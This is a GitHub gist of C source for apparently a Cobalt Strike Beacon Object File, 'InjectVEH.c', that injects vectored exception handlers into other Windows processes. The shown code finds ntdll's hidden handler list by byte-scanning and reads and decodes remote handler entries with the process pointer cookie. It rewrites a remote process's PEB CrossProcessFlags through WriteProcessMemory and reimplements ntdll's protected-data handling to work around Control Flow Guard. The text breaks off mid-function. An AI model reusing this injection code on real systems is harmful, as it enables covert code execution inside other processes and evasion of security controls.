Skip to content

Instantly share code, notes, and snippets.

@kapiushion
Forked from rxwx/InjectVEH.c
Created July 11, 2025 05:09
Show Gist options
  • Select an option

  • Save kapiushion/399c1fbec602016199490026cba4cf33 to your computer and use it in GitHub Desktop.

Select an option

Save kapiushion/399c1fbec602016199490026cba4cf33 to your computer and use it in GitHub Desktop.

Revisions

  1. @rxwx rxwx revised this gist Oct 22, 2024. No changes.
  2. @rxwx rxwx created this gist Aug 24, 2024.
    1,774 changes: 1,774 additions & 0 deletions InjectVEH.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,1774 @@
    #include <Windows.h>
    #include <stdio.h>
    #include "VEH.h"
    #include "ntos.h"
    #include "ntrtl.h"
    //#include "peb.h"
    #include "ntldr.h"
    #include "hwbp.h"
    #include "base\helpers.h"

    /**
    * For the debug build we want:
    * a) Include the mock-up layer
    * b) Undefine DECLSPEC_IMPORT since the mocked Beacon API
    * is linked against the the debug build.
    */
    #ifdef _DEBUG
    #include "base\mock.h"
    #undef DECLSPEC_IMPORT
    #define DECLSPEC_IMPORT
    #endif

    extern "C" {
    #include "beacon.h"

    // CFG Stuff
    PVOID LdrpAllocationGranularity = NULL;
    PVOID LdrpMrdataHeap = NULL;
    PVOID LdrpMrdataHeapUnprotected = NULL;
    PVOID LdrpMrdataBase = NULL;
    SRWLOCK LdrpMrdataLock;

    SIZE_T LdrpMrdataSize;
    int LdrpMrdataUnprotected;

    // Used for RtlEncodePointer
    ULONG g_CookieValue;

    LONG CALLBACK MyVectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)
    {
    /*BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VEH!! *** \n");
    BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord: %#llx", ExceptionInfo->ExceptionRecord);
    BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionAddress: %#llx [%d]",
    ExceptionInfo->ExceptionRecord->ExceptionAddress, offsetof(EXCEPTION_RECORD, ExceptionAddress));
    BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionFlags: %#llx [%d]",
    ExceptionInfo->ExceptionRecord->ExceptionFlags, offsetof(EXCEPTION_RECORD, ExceptionFlags));
    BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionCode: %#llx [%d]\n",
    ExceptionInfo->ExceptionRecord->ExceptionCode, offsetof(EXCEPTION_RECORD, ExceptionCode));
    #ifdef _WIN64
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord: %#llx [%d]", ExceptionInfo->ContextRecord, offsetof(EXCEPTION_POINTERS, ContextRecord));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rcx: %#llx [%d]", ExceptionInfo->ContextRecord->Rcx, offsetof(CONTEXT, Rcx));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rdx: %#llx [%d]", ExceptionInfo->ContextRecord->Rdx, offsetof(CONTEXT, Rdx));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R8: %#llx [%d]", ExceptionInfo->ContextRecord->R8, offsetof(CONTEXT, R8));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R9: %#llx [%d]", ExceptionInfo->ContextRecord->R9, offsetof(CONTEXT, R9));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rip: %#llx [%d]", ExceptionInfo->ContextRecord->Rip, offsetof(CONTEXT, Rip));
    BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rax: %#llx [%d]", ExceptionInfo->ContextRecord->Rax, offsetof(CONTEXT, Rax));
    #endif
    //ULONG_PTR retAddr = GetReturnAddress(ExceptionInfo->ContextRecord);
    //BeaconPrintf(CALLBACK_OUTPUT, "Return Address: %#llx", retAddr);
    */
    return EXCEPTION_CONTINUE_EXECUTION;
    }

    LONG CALLBACK MyContinueHandler(PEXCEPTION_POINTERS ExceptionInfo)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VCH!! *** \n");
    return EXCEPTION_CONTINUE_EXECUTION;
    }

    BOOL LdrControlFlowGuardEnforced()
    {
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, GetProcAddress);

    // return qword_7FFA77B093C8 && (dword_7FFA77B093AC & 1) == 0;
    // LdrSystemDllInitBlock + 184 == CfgBitMap
    // LdrSystemDllInitBlock + 156 == Flags (CfgOverride: 1)

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return FALSE;

    PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)GetProcAddress(ntdll, "LdrSystemDllInitBlock");
    BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0;
    BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %d", enforced);
    return enforced;
    }

    BOOL LdrControlFlowGuardEnforcedEx(HANDLE hProc)
    {
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, GetProcessId);
    //DFR_LOCAL(MSVCRT, calloc);
    //DFR_LOCAL(MSVCRT, free);

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return FALSE;

    LPCVOID addr = GetProcAddress(ntdll, "LdrSystemDllInitBlock");
    PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)calloc(1, sizeof(PS_SYSTEM_DLL_INIT_BLOCK));
    if (LdrSystemDllInitBlock == NULL || !ReadProcessMemory(hProc, addr, LdrSystemDllInitBlock, sizeof(PS_SYSTEM_DLL_INIT_BLOCK), NULL))
    return FALSE;

    BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0;
    free(LdrSystemDllInitBlock);
    BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %s (PID: %d)",
    enforced ? "true" : "false", GetProcessId(hProc));
    return enforced;
    }

    ULONGLONG GetLdrpVectorHandlerList() {
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(MSVCRT, memcpy);

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return 0;

    ULONGLONG procAddress = (ULONGLONG)GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler");
    BYTE* Buffer = (BYTE*)(GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler"));

    //BeaconPrintf(CALLBACK_OUTPUT, "RtlRemoveVectoredExceptionHandler [%#llx]", procAddress);

    DWORD dwCount = 0;
    DWORD dwOffset = 0;
    for (dwCount = 0; dwCount < 60; dwCount++) {

    if ((*(Buffer + dwCount) == 0x4c) && (*(Buffer + dwCount + 1) == 0x8d) && (*(Buffer + dwCount + 2) == 0x25)) {
    memcpy(&dwOffset, (Buffer + dwCount + 3), 4);
    break;
    }
    }
    return ((LONGLONG)Buffer + dwCount + 7 + dwOffset);
    }

    void DumpHandlerList(PVECTORED_HANDLER_LIST head)
    {
    DFR_LOCAL(KERNEL32, DecodePointer);

    PLIST_ENTRY Flink = head->HandlerList.Flink;
    int count = 0;

    BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %p", head->SrwLock);
    BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %p", &head->HandlerList);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);

    for (PLIST_ENTRY next = Flink; next != &head->HandlerList && count < 255; next = next->Flink)
    {
    PVECTORED_HANDLER_ENTRY entry = reinterpret_cast<PVECTORED_HANDLER_ENTRY>(next);
    BeaconPrintf(CALLBACK_OUTPUT, "-->");
    BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count);
    BeaconPrintf(CALLBACK_OUTPUT, "&entry->Entry: %p", &entry->Entry);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %p", entry->Entry.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %p", entry->Entry.Blink);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", *entry->Unknown1);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", DecodePointer(entry->Handler));
    }
    }

    PVOID ReadPointer(HANDLE hProc, LPCVOID addr)
    {
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);

    if (hProc == NULL)
    return 0;

    PVOID value = 0;
    if (!ReadProcessMemory(hProc, addr, &value, sizeof(PVOID), NULL))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to read pointer at %#llx", addr);
    return 0;
    }
    return value;
    }

    PPEB NtCurrentPeb()
    {
    #if defined(_WIN64)
    PPEB peb = (PPEB)__readgsqword(0x60);
    #else
    PPEB peb = (PPEB)__readfsdword(0x30);
    #endif
    return peb;
    }

    PVOID MemDecodePointer(PVOID Pointer, ULONG cookie)
    {
    return (PVOID)(RotateRight64((ULONG_PTR)Pointer, 0x40 - (cookie & 0x3f)) ^ cookie);
    }

    PVOID MemEncodePointer(PVOID Pointer, ULONG cookie)
    {
    return (PVOID)(RotateRight64((ULONG_PTR)Pointer ^ cookie, cookie & 0x3f));
    }

    ULONG GetProcessCookie(HANDLE hProcess) {
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, GetProcAddress);

    NTSTATUS status;
    ULONG dwProcCookie = 0;

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return 0;

    // TODO: syscalls
    LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
    status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)36, (DWORD_PTR*)&dwProcCookie, sizeof(ULONG), NULL);
    if (status != 0)
    {
    return 0;
    }
    return dwProcCookie;
    }

    void DumpHandlerListEx(HANDLE hProc, LPCVOID headAddr)
    {
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, GetLastError);
    //DFR_LOCAL(MSVCRT, calloc);
    //DFR_LOCAL(MSVCRT, free);
    //DFR_LOCAL(MSVCRT, memset);

    if (hProc == NULL)
    return;

    SIZE_T bytesRead;
    PVECTORED_HANDLER_LIST head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST));
    if (head == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST",
    sizeof(VECTORED_HANDLER_LIST));
    return;
    }

    if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead) ||
    bytesRead != sizeof(VECTORED_HANDLER_LIST))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d",
    bytesRead, GetLastError());
    return;
    }

    DWORD count = 0;
    DWORD cookie = GetProcessCookie(hProc);
    PLIST_ENTRY Flink = head->HandlerList.Flink;
    void* handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList));

    BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock);
    BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);

    PVECTORED_HANDLER_ENTRY entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
    if (entry == NULL)
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_ENTRY",
    sizeof(VECTORED_HANDLER_ENTRY));
    return;
    }

    for (PLIST_ENTRY next = Flink; next != handlerListAddr && count < 255;
    next = (PLIST_ENTRY)ReadPointer(hProc, ((byte*)next + offsetof(LIST_ENTRY, Flink))))
    {
    if (!ReadProcessMemory(hProc, next, entry, sizeof(VECTORED_HANDLER_ENTRY), &bytesRead) ||
    bytesRead != sizeof(VECTORED_HANDLER_ENTRY))
    {
    BeaconPrintf(CALLBACK_ERROR, "Unable to read handler entry");
    break;
    }

    BeaconPrintf(CALLBACK_OUTPUT, "-->");
    BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry: %#llx", ((byte*)next + offsetof(VECTORED_HANDLER_ENTRY, Entry)));
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %#llx", entry->Entry.Flink);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %#llx", entry->Entry.Blink);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", ReadPointer(hProc, entry->Unknown1));
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2);
    BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", MemDecodePointer(entry->Handler, cookie));
    memset(entry, 0, sizeof(VECTORED_HANDLER_ENTRY));
    }
    free(head);
    free(entry);
    }

    void DumpHandlers(BOOL addVEH, BOOL addVCH)
    {
    //DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
    //DFR_LOCAL(KERNEL32, AddVectoredContinueHandler);

    VECTORED_HANDLER_ENTRY* veh = NULL;
    VECTORED_HANDLER_ENTRY* vch = NULL;
    VECTORED_HANDLER_LIST* LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList();

    BeaconPrintf(CALLBACK_OUTPUT, "\n *** Metadata *** \n");

    if (addVEH)
    {
    veh = (VECTORED_HANDLER_ENTRY*)AddVectoredExceptionHandler(1, MyVectoredHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "Address of VEH: %p", veh);
    }

    if (addVCH)
    {
    vch = (VECTORED_HANDLER_ENTRY*)AddVectoredContinueHandler(1, MyContinueHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "Address of VCH: %p", vch);
    }

    BeaconPrintf(CALLBACK_OUTPUT, "MyVectoredHandler: %p", MyVectoredHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "MyContinueHandler: %p", MyContinueHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList: 0#%#llx", *(ULONG_PTR*)LdrpVectorHandlerList);

    BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Exception Handlers *** \n");
    DumpHandlerList(&LdrpVectorHandlerList[0]);

    BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Continue Handlers *** \n");
    DumpHandlerList(&LdrpVectorHandlerList[1]);
    }

    PVOID GetProcessHeapEx(HANDLE hProcess) {
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);

    NTSTATUS status;
    PVOID ProcessHeap = NULL;
    PROCESS_BASIC_INFORMATION ProcessInformation{};

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return NULL;

    LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
    status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
    if (status != 0)
    return NULL;

    SIZE_T dwRead = 0;
    PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
    if (ReadProcessMemory(hProcess, (PBYTE)pPEB + offsetof(PEB, ProcessHeap), &ProcessHeap, sizeof(PVOID), &dwRead) == FALSE)
    return NULL;

    return ProcessHeap;
    }

    BOOL SetCrossProcessFlags(HANDLE hProcess, DWORD64 NewFlags) {
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, VirtualProtectEx);
    //DFR_LOCAL(KERNEL32, WriteProcessMemory);

    NTSTATUS status;
    DWORD64 CrossProcessFlags = 0;
    PROCESS_BASIC_INFORMATION ProcessInformation{};

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return FALSE;

    LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
    status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
    if (status != 0)
    {
    return FALSE;
    }

    SIZE_T dwRead = 0;
    PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
    if (ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) {
    return FALSE;
    }

    BeaconPrintf(CALLBACK_OUTPUT, "Old CrossProcessFlags: %d", CrossProcessFlags);

    // Add new flags
    CrossProcessFlags |= NewFlags;
    BeaconPrintf(CALLBACK_OUTPUT, "New CrossProcessFlags: %d", CrossProcessFlags);

    DWORD oldProtect = 0;
    if (!VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), PAGE_READWRITE, &oldProtect))
    {
    return FALSE;
    }

    SIZE_T bytesWritten = 0;
    if (!WriteProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &bytesWritten))
    {
    return FALSE;
    }

    return VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), oldProtect, &oldProtect);
    }

    LPVOID GetCrossProcessFlags(HANDLE hProcess, PEB* outPEB, DWORD64* CrossProcessFlags) {
    //DFR_LOCAL(KERNEL32, ReadProcessMemory);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, GetProcAddress);

    NTSTATUS status;
    PROCESS_BASIC_INFORMATION ProcessInformation{};

    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (ntdll == NULL)
    return NULL;

    // TODO: syscalls
    LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
    status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
    if (status != 0)
    {
    return NULL;
    }

    SIZE_T dwRead = 0;
    if (outPEB != NULL && ReadProcessMemory(hProcess, ProcessInformation.PebBaseAddress, outPEB, sizeof(PEB), &dwRead) == FALSE) {
    return NULL;
    }

    PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
    if (CrossProcessFlags != NULL && ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, (LPVOID)CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) {
    return NULL;
    }

    return (LPVOID)ProcessInformation.PebBaseAddress;
    }

    ULONGLONG LdrpLocateMrdata()
    {
    //DFR_LOCAL(KERNEL32, VirtualQuery);

    BeaconPrintf(CALLBACK_OUTPUT, "LdrpLocateMrdata()");

    // TODO: still need to Reverse this func
    // For now we can just return the page that the VEH list is in (as a cheat)
    ULONGLONG result = 0;

    PVOID addr = (PVOID)GetLdrpVectorHandlerList();
    MEMORY_BASIC_INFORMATION memInfo;

    if (!VirtualQuery(&addr, &memInfo, sizeof(memInfo)))
    __fastfail(5);

    LdrpMrdataBase = addr;
    LdrpMrdataSize = 0x1000;
    LdrpMrdataUnprotected = memInfo.Protect & PAGE_READONLY;

    //BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataBase = %p\n", LdrpMrdataBase);
    //BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataSize = %llu\n", LdrpMrdataSize);
    //BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected = %d\n", LdrpMrdataUnprotected);

    //__int64 v0; // rdx
    //__int64 v1; // rax
    //__int64 v2; // rdi
    //__int64 v3; // rbx
    //__int64 result; // rax
    //__int64 v5; // [rsp+30h] [rbp+8h] BYREF

    //RtlImageNtHeaderEx(3i64, 0x180000000ui64, 0i64, &v5);
    //v1 = RtlSectionTableFromVirtualAddress(v5, v0, (unsigned int)&LdrSystemDllInitBlock - 0x80000000);
    //if (!v1)
    // __fastfail(5u);
    //v2 = 0x180000000i64 + *(unsigned int*)(v1 + 12);
    //v3 = *(unsigned int*)(v1 + 8);
    //result = LdrpMakePermanentImageCommit(v2, v3);
    //LdrpMrdataSize = v3;
    //LdrpMrdataBase = v2;
    return result;
    }

    NTSTATUS LdrpChangeMrdataProtection(ULONG Protect)
    {
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);

    NTSTATUS result;
    ULONG OldProtect;
    SIZE_T RegionSize;
    PVOID BaseAddress;

    HMODULE ntdll = GetModuleHandleA("ntdll");
    if (ntdll == NULL)
    return STATUS_INVALID_HANDLE;

    // TODO: syscalls
    NtProtectVirtualMemory = (LPNTPROTECTVIRTUALMEMORY)GetProcAddress(ntdll, "NtProtectVirtualMemory");

    if (!LdrpMrdataBase)
    LdrpLocateMrdata();

    OldProtect = Protect;
    BaseAddress = LdrpMrdataBase;
    RegionSize = LdrpMrdataSize;

    //BeaconPrintf(CALLBACK_OUTPUT, "call NtProtectVirtualMemory");
    //BeaconPrintf(CALLBACK_OUTPUT, "Protect: %lu", Protect);
    //BeaconPrintf(CALLBACK_OUTPUT, "RegionSize: %zu", RegionSize);
    //BeaconPrintf(CALLBACK_OUTPUT, "BaseAddress: %p", BaseAddress);

    result = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect);
    //BeaconPrintf(CALLBACK_OUTPUT, "result = %d", result);

    if (!NT_SUCCESS(result))
    __fastfail(5);
    return result;
    }

    VOID NTAPI LdrProtectMrdata(int Protect)
    {
    /*
    * Rules for calling this function (as I understand it)
    *
    * Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 1 will cause a __fastfail
    * Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == -1 will cause a __fastfail
    * Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected >= 1 will always increment LdrpMrdataUnprotected by 1
    * Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0 will:
    * cause the protection to be changed to READWRITE
    * increment LdrpMrdataUnprotected by 1
    * this means that LdrpMrdataUnprotected could be any value above 1, or even overflow (see above -1 check)
    *
    * Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 0 will cause a __fastfail
    * Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected > 0 will always decrement LdrpMrdataUnprotected by 1
    * Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 1 will:
    * cause the protection to be changed to READONLY
    * decrement LdrpMrdataUnprotected by 1
    *
    * Notes:
    * a) you could crank up LdrpMrdataUnprotected to a high number and LdrProtectMrdata(1)
    * will never actually set the page back to READONLY
    * b) the caller has to check LdrpMrdataUnprotected to make sure they dont crash the process if its out of sync
    * c) if LdrpMrdataUnprotected is uninitialised it will be treated as if the initial state is READONLY
    */

    //DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
    //DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);

    int isReadWrite; // edi

    BeaconPrintf(CALLBACK_OUTPUT, "LdrProtectMrdata(%d)", Protect);
    BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected: %d", LdrpMrdataUnprotected);

    AcquireSRWLockExclusive(&LdrpMrdataLock);
    isReadWrite = LdrpMrdataUnprotected;

    //LdrProtectMrdata(0)
    if (!Protect)
    {
    // If MrData is READONLY (LdrpMrdataUnprotected == 0)
    if (!LdrpMrdataUnprotected)
    {
    LdrpChangeMrdataProtection(PAGE_READWRITE);
    LABEL_5:
    LdrpMrdataUnprotected = isReadWrite + 1;
    return ReleaseSRWLockExclusive(&LdrpMrdataLock);
    }
    // else it's already READWRITE (LdrpMrdataUnprotected > 0)

    // overflow check here
    // but what happens if it's 2 or already 1?
    if (LdrpMrdataUnprotected != -1)
    goto LABEL_5;
    LABEL_10:
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    __fastfail(0xEu);
    }

    // LdrProtectMrData(1) ..

    // If MrData is READONLY (LdrpMrdataUnprotected == 0)
    // Shouldn't call LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0
    if (!LdrpMrdataUnprotected)
    goto LABEL_10;

    // Decrement LdrpMrdataUnprotected (i.e. from 1 to 0)
    // But what happens if it was 2, does it go to 1?
    --LdrpMrdataUnprotected;

    // If LdrpMrdataUnprotected was originally 1 (i.e. READWRITE)
    // When we entered the function, then it's safe to change to READONLY
    if (isReadWrite == 1)
    LdrpChangeMrdataProtection(PAGE_READONLY);
    return ReleaseSRWLockExclusive(&LdrpMrdataLock);
    }

    NTSTATUS LdrEnsureMrdataHeapExistsEx(HANDLE hProc)
    {
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
    //DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);

    NTSTATUS result;
    PVOID pHeap;
    PVOID alloc;
    BOOLEAN ProtectHeap;
    PVOID BaseAddress;
    ULONG_PTR RegionSize;

    if (hProc == NULL)
    return STATUS_INVALID_HANDLE;

    HMODULE ntdll = GetModuleHandleA("ntdll");
    if (ntdll == NULL)
    return STATUS_INVALID_HANDLE;

    // TODO: syscalls
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
    NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory");
    RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap");
    RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
    RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
    RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");
    RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap");

    BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExistsEx");

    // If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
    if (!LdrControlFlowGuardEnforcedEx(hProc)) // || LdrpMrdataHeap)
    return STATUS_SUCCESS;

    BaseAddress = 0;
    RegionSize = (ULONG_PTR)LdrpAllocationGranularity;

    result = NtAllocateVirtualMemory(hProc, &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE);

    if (NT_SUCCESS(result))
    {
    pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0);

    if (pHeap)
    {
    alloc = RtlAllocateHeap(pHeap, 0, 4);

    if (alloc)
    {
    ProtectHeap = TRUE;
    RtlProtectHeap(pHeap, ProtectHeap);
    LdrProtectMrdata(FALSE);
    AcquireSRWLockExclusive(&LdrpMrdataLock);
    // Now we allocated a READONLY heap, lets update the global variables
    if (!LdrpMrdataHeap)
    {
    // LdrpMrdataHeapUnprotected will either be NULL or address of alloc
    LdrpMrdataHeapUnprotected = alloc;
    LdrpMrdataHeap = pHeap;
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    LdrProtectMrdata(TRUE);
    return STATUS_SUCCESS;
    }
    ReleaseSRWLockExclusive(&LdrpMrdataLock);
    LdrProtectMrdata(TRUE);
    RtlProtectHeap(pHeap, 0);
    RtlFreeHeap(pHeap, 0, alloc);
    }
    RtlDestroyHeap(pHeap);
    }

    // Free memory we allocated with NtAllocateVirtualMemory
    // We get here if RtlCreateHeap or RtlAllocateHeap failed
    NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

    // Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
    // However another thread may have already allocated it, so we double check (I guess?)
    if (!LdrpMrdataHeap)
    return STATUS_NO_MEMORY;
    return STATUS_SUCCESS;
    }
    // If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
    return result;
    }

    NTSTATUS LdrEnsureMrdataHeapExists()
    {
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
    //DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);

    NTSTATUS result;
    PVOID pHeap;
    PVOID alloc;
    BOOLEAN ProtectHeap;
    PVOID BaseAddress;
    ULONG_PTR RegionSize;

    HMODULE ntdll = GetModuleHandleA("ntdll");
    if (ntdll == NULL)
    return STATUS_INVALID_HANDLE;

    // TODO: syscalls
